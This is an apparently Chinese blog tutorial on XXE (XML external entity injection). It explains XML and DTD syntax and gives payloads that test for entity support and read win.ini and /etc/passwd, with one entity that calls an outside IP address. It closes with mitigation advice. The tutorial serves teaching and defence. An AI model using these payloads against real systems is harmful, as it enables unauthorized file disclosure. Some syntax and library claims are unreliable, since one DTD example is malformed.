漏洞之XML实体注入

XXE——XML外部实体注入

程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。

XML是可扩展标记语言,很类型HTML语言。

但是xml语言的标签没有预定义,需要自定义标签

XML 被设计用来结构化、存储以及传输信息。但是 XML 不会做任何事情。

举个栗子:张三给李四写了一张便签,标题是提醒,内容是:李四,你不要忘记开会。

<note>

<to>李四</to>

<from>张三</from>

<heading>提醒</heading>

<body>李四,你不要忘记开会!</body>

</note>

上面这个栗子说明,XML具有自我描述性,有标题、内容、发送者、接收者。

但是上面这个xml栗子没有做任何事情,它还需要我们编写软件或者程序,才能传送、接收和显示出这个文档。

XML结构

  • XML声明

  • DTD文档类型定义(可选)

  • 文档元素

XML元素

元素标记区分大小写

xml有且只有一个根元素

XXE漏洞一般发生在应用程序解析XML输入时,没有处理好外部实体的加载;

DTD

上面提到xml需要自定义标签,而DTD(文档类型定义)就可以合法的定义xml标签。

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用

内部的DOCTYPE声明:

1、举个很好的栗子:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[                           <!--定义此文档为note类型-->
	<!ELEMENT note (to,from,heading,body)><!--定义note有四个元素-->
	<!ELEMENT to   (#PCDATA)>
	<!ELEMENT from   (#PCDATA)>
	<!ELEMENT heading   (#PCDATA)>
	<!ELEMENT body   (#PCDATA)>           <!--定义元素的类型为#PCDATA-->
]>
<note>
<to>Alice</to>
<from>Bob</from>
<heading>Reminder</heading>
<body>I miss you !</body>
</note>

2、还有个栗子:

<?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE root[
 <!ELEMENT A   "i">
 <!ELEMENT B   "am">
 <!ELEMENT C   "hacker">
 ]>
 <root>
     <A>&A;</A>
     <B>&B;</B>
     <C>&C;</C>
 </root>

DTD文档结构

元素类型声明

属性表声明

实体声明

记号声明

DTD语法:

举个栗子:

实体声明

一、一般实体

<!ENTITY 实体名 实体内容>

二、参数实体

<!ENTITY %实体名 "实体内容">

外部的文档声明

<!DOCTYPE root-element SYSTEM "filename">

<!DOCTYPE 根元素 SYSTEM "文件名">

<!DOCTYPE root-element PUBLIC "public_ID" "filename">

<!DOCTYPE 根元素 PUBLIC "文件源" "文件名">

XML实体注入

原理:xml实体注入是DTD引用外部实体导致的漏洞

检测漏洞

1、判断xml能否解析

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is shy">
]>
<root>&name;</root>

2、判断是否支持外部调用

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [ 
<!ENTITY name SYSTEM "http://47.95.206.199/index.html">
]>
<root>&name;</root>

3、有回显情况下,读取任意文件

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE x[<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<value>&xxe;</value>

在网站的正常发送的xml前面加上一个DTD实体的声明,然后在某个标签内调用。

参考大佬链接:https://mp.weixin.qq.com/s/RkzcwzSmWBcQ6QexF2t8IA

XML外部实体注入漏洞XML External Entity Injection, 简称XXE)是一种常见的安全漏洞,攻击者可以利用这种漏洞来读取任意文件、执行系统命令等操作。 在XML文档中,可以通过定义实体来引用外部资源,例如文件、URL等。当XML解析器解析XML文档时,如果不对外部实体进行限制,攻击者可以通过构造恶意的XML文档,将外部实体指向敏感文件或者恶意URL,从而导致漏洞。 具体来说,攻击者可以在XML文档中定义一个实体,使用DTD(Document Type Definition)语法将该实体指向一个外部文件,然后在XML文档中使用该实体。当XML解析器解析该实体时,就会将指定的外部文件读取进来,从而导致漏洞。 例如,下面的XML文档定义了一个名为“file”的实体,指向了一个敏感文件“/etc/passwd”: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <message>&file;</message> ``` 如果XML解析器不对外部实体进行限制,那么解析该文档时就会读取“/etc/passwd”文件的内容,并将其包含在<message>元素中返回给应用程序,从而导致敏感信息泄漏。 为了防止XXE漏洞,可以采取以下措施: 1. 禁止使用外部实体,或者限制外部实体的使用范围。可以在XML解析器中设置相关参数,例如禁止加载外部实体、禁止解析DTD等。 2. 对外部实体进行白名单过滤,只允许加载特定的URL或文件。 3. 检查输入数据,避免恶意输入注入XML文档中。 4. 对于持久化的XML数据,应该使用安全的XML库来处理,例如使用DOM4J或JAXB等库,这些库会自动过滤掉外部实体
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值